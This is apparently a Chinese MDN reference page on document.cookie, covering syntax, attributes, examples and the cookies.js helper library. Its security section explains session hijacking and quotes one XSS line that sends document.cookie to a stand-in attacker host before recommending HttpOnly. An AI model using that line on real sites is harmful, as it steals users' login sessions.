获取并设置与当前文档相关联的 cookie。对于一个通用的库看这个简单的cookie框架

语法

读取所有可从此位置访问Cookie
allCookies = document.cookie;

在上面的代码中,allCookies是一个字符串,包含所有Cookie的以分号分隔的列表(即, key=value 键值对)

document.cookie = updatedCookie;

updatedCookie是一个键值对形式的字符串。注意,你只能用这个方法一次设置或更新一个cookie。

  • 以下可选的cookie属性值跟在键值对后,定义cookie的设定/更新,跟着一个分号以作分隔:
    • ;path=path (例如 '/', '/mydir') 如果没有定义,默认为当前文档位置的路径。
    • ;domain=domain (例如 'example.com', '.example.com' (包括所有子域名), 'subdomain.example.com') 如果没有定义,默认为当前文档位置的路径的域名部分。
    • ;max-age=max-age-in-seconds (例如一年为60*60*24*365)
    • ;expires=date-in-GMTString-format 如果没有定义,cookie会在对话结束时过期
    • ;secure (cookie只通过https协议传输)
  • cookie的值字符串可以用encodeURIComponent()来保证它不包含任何逗号、分号或空格(cookie值中禁止使用这些值).

备注: 在Gecko 6.0前,被引号括起的路径的引号会被当做路径的一部分,而不是被当做定界符。现在已被修复。

示例

示例1: 简单用法

document.cookie = "name=oeschger";
document.cookie = "favorite_food=tripe";
alert(document.cookie);
// 显示: name=oeschger;favorite_food=tripe

示例2: 得到名为test2的cookie

document.cookie = "test1=Hello";
document.cookie = "test2=World";

var myCookie = document.cookie.replace(/(?:(?:^|.*;\s*)test2\s*\=\s*([^;]*).*$)|^.*$/, "$1");

alert(myCookie);
// 显示: World

示例3: 只执行某事一次

要使下面的代码工作,请替换所有someCookieName (cookie的名字)为自定义的名字。

if (document.cookie.replace(/(?:(?:^|.*;\s*)someCookieName\s*\=\s*([^;]*).*$)|^.*$/, "$1") !== "true") {
  alert("Do something here!");
  document.cookie = "someCookieName=true; expires=Fri, 31 Dec 9999 23:59:59 GMT; path=/";
}
}

一个小框架:一个完整支持unicode的cookie读取/写入器

作为一个格式化过的字符串,cookie的值有时很难被自然地处理。下面的库的目的是通过定义一个和Storage对象部分一致的对象(docCookies),简化document.cookie 的获取方法。它提供完全的Unicode支持。

/*\
|*|
|*|  :: cookies.js ::
|*|
|*|  A complete cookies reader/writer framework with full unicode support.
|*|
|*|  https://developer.mozilla.org/en-US/docs/DOM/document.cookie
|*|
|*|  This framework is released under the GNU Public License, version 3 or later.
|*|  http://www.gnu.org/licenses/gpl-3.0-standalone.html
|*|
|*|  Syntaxes:
|*|
|*|  * docCookies.setItem(name, value[, end[, path[, domain[, secure]]]])
|*|  * docCookies.getItem(name)
|*|  * docCookies.removeItem(name[, path], domain)
|*|  * docCookies.hasItem(name)
|*|  * docCookies.keys()
|*|
\*/

var docCookies = {
  getItem: function (sKey) {
    return decodeURIComponent(document.cookie.replace(new RegExp("(?:(?:^|.*;)\\s*" + encodeURIComponent(sKey).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=\\s*([^;]*).*$)|^.*$"), "$1")) || null;
  },
  setItem: function (sKey, sValue, vEnd, sPath, sDomain, bSecure) {
    if (!sKey || /^(?:expires|max\-age|path|domain|secure)$/i.test(sKey)) { return false; }
    var sExpires = "";
    if (vEnd) {
      switch (vEnd.constructor) {
        case Number:
          sExpires = vEnd === Infinity ? "; expires=Fri, 31 Dec 9999 23:59:59 GMT" : "; max-age=" + vEnd;
          break;
        case String:
          sExpires = "; expires=" + vEnd;
          break;
        case Date:
          sExpires = "; expires=" + vEnd.toUTCString();
          break;
      }
    }
    document.cookie = encodeURIComponent(sKey) + "=" + encodeURIComponent(sValue) + sExpires + (sDomain ? "; domain=" + sDomain : "") + (sPath ? "; path=" + sPath : "") + (bSecure ? "; secure" : "");
    return true;
  },
  removeItem: function (sKey, sPath, sDomain) {
    if (!sKey || !this.hasItem(sKey)) { return false; }
    document.cookie = encodeURIComponent(sKey) + "=; expires=Thu, 01 Jan 1970 00:00:00 GMT" + ( sDomain ? "; domain=" + sDomain : "") + ( sPath ? "; path=" + sPath : "");
    return true;
  },
  hasItem: function (sKey) {
    return (new RegExp("(?:^|;\\s*)" + encodeURIComponent(sKey).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=")).test(document.cookie);
  },
  keys: /* optional method: you can safely remove it! */ function () {
    var aKeys = document.cookie.replace(/((?:^|\s*;)[^\=]+)(?=;|$)|^\s*|\s*(?:\=[^;]*)?(?:\1|$)/g, "").split(/\s*(?:\=[^;]*)?;\s*/);
    for (var nIdx = 0; nIdx < aKeys.length; nIdx++) { aKeys[nIdx] = decodeURIComponent(aKeys[nIdx]); }
    return aKeys;
  }
};
Note: 对于永久cookie我们用了Fri, 31 Dec 9999 23:59:59 GMT作为过期日。如果你不想使用这个日期,可使用世界末日Tue, 19 Jan 2038 03:14:07 GMT,它是32位带符号整数能表示从1 January 1970 00:00:00 UTC开始的最大秒长(即01111111111111111111111111111111, 是 new Date(0x7fffffff * 1e3)).

写入cookie

语法
docCookies.setItem(name, value[, end[, path[, domain[, secure]]]])
描述

创建或覆盖一个cookie

参数
name (必要)
要创建或覆盖的cookie的名字 (string)。
value (必要)
cookie的值 (string)。
end (可选)
最大年龄的秒数 (一年为31536e3, 永不过期的cookie为Infinity) ,或者过期时间的GMTString格式或Date对象; 如果没有定义则会在会话结束时过期 (number – 有限的或 Infinitystring, Date object or null)。
path (可选)
例如 '/', '/mydir'。 如果没有定义,默认为当前文档位置的路径。(string or null)。路径必须为绝对路径(参见 RFC 2965)。关于如何在这个参数使用相对路径的方法请参见这段
domain (可选)
例如 'example.com', '.example.com' (包括所有子域名), 'subdomain.example.com'。如果没有定义,默认为当前文档位置的路径的域名部分 (stringnull)。
secure (可选)
cookie只会被https传输 (booleannull)。

得到cookie

语法
docCookies.getItem(name)
描述

读取一个cookie。如果cookie不存在返回null

参数
name
读取的cookie名 (string).

移除cookie

Syntax
docCookies.removeItem(name[, path],domain)
描述

删除一个cookie。

参数
name
要移除的cookie名(string).
path (可选)
例如 '/', '/mydir'。 如果没有定义,默认为当前文档位置的路径。(string or null)。路径必须为绝对路径(参见 RFC 2965)。关于如何在这个参数使用相对路径的方法请参见这段
domain (可选)
例如 'example.com', '.example.com' (包括所有子域名), 'subdomain.example.com'。如果没有定义,默认为当前文档位置的路径的域名部分 (stringnull)。

检测cookie

语法
docCookies.hasItem(name)
描述

检查一个cookie是否存在

参数
name
要检查的cookie名 (string).

得到所有cookie的列表

语法
docCookies.keys()
描述

返回一个这个路径所有可读的cookie的数组。

示例用法:

docCookies.setItem("test0", "Hello world!");
docCookies.setItem("test1", "Unicode test: \u00E0\u00E8\u00EC\u00F2\u00F9", Infinity);
docCookies.setItem("test2", "Hello world!", new Date(2020, 5, 12));
docCookies.setItem("test3", "Hello world!", new Date(2027, 2, 3), "/blog");
docCookies.setItem("test4", "Hello world!", "Sun, 06 Nov 2022 21:43:15 GMT");
docCookies.setItem("test5", "Hello world!", "Tue, 06 Dec 2022 13:11:07 GMT", "/home");
docCookies.setItem("test6", "Hello world!", 150);
docCookies.setItem("test7", "Hello world!", 245, "/content");
docCookies.setItem("test8", "Hello world!", null, null, "example.com");
docCookies.setItem("test9", "Hello world!", null, null, null, true);
docCookies.setItem("test1;=", "Safe character test;=", Infinity);
 
alert(docCookies.keys().join("\n"));
alert(docCookies.getItem("test1"));
alert(docCookies.getItem("test5"));
docCookies.removeItem("test1");
docCookies.removeItem("test5", "/home");
alert(docCookies.getItem("test1"));
alert(docCookies.getItem("test5"));
alert(docCookies.getItem("unexistingCookie"));
alert(docCookies.getItem());
alert(docCookies.getItem("test1;="));

安全

路径限制并不能阻止从其他路径访问cookie. 使用简单的DOM即可轻易地绕过限制(比如创建一个指向限制路径的, 隐藏的iframe, 然后访问其 contentDocument.cookie 属性). 保护cookie不被非法访问的唯一方法是将它放在另一个域名/子域名之下, 利用同源策略保护其不被读取.

Web应用程序通常使用cookies来标识用户身份及他们的登录会话. 因此通过窃听这些cookie, 就可以劫持已登录用户的会话. 窃听的cookie的常见方法包括社会工程和XSS攻击 -

(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;

HttpOnly 属性可以阻止通过javascript访问cookie, 从而一定程度上遏制这类攻击. 参见 Cookies and Security.

备注

  • 从 Firefox 2 起, 有更好的客户端存储机制用以替代 cookie - WHATWG DOM Storage.
  • 你可以通过更新一个cookie的过期时间为0来删除一个cookie。
  • 请注意, 更多/更大的 cookies 意味着每个请求都要包含更繁重的数据传输. 如果您只是需要存储些 "client-only" 的数据, 那么郑重建议您使用 WHATWG DOM Storage.

规范

DOM Level 2: HTMLDocument.cookie

参见

文档标签和贡献者

标签: 
 此页面的贡献者: xgqfrms-GitHub, binggg, x4storm, galin, fskuok, teoli, AshfaqHossain, ReyCG
 最后编辑者: xgqfrms-GitHub,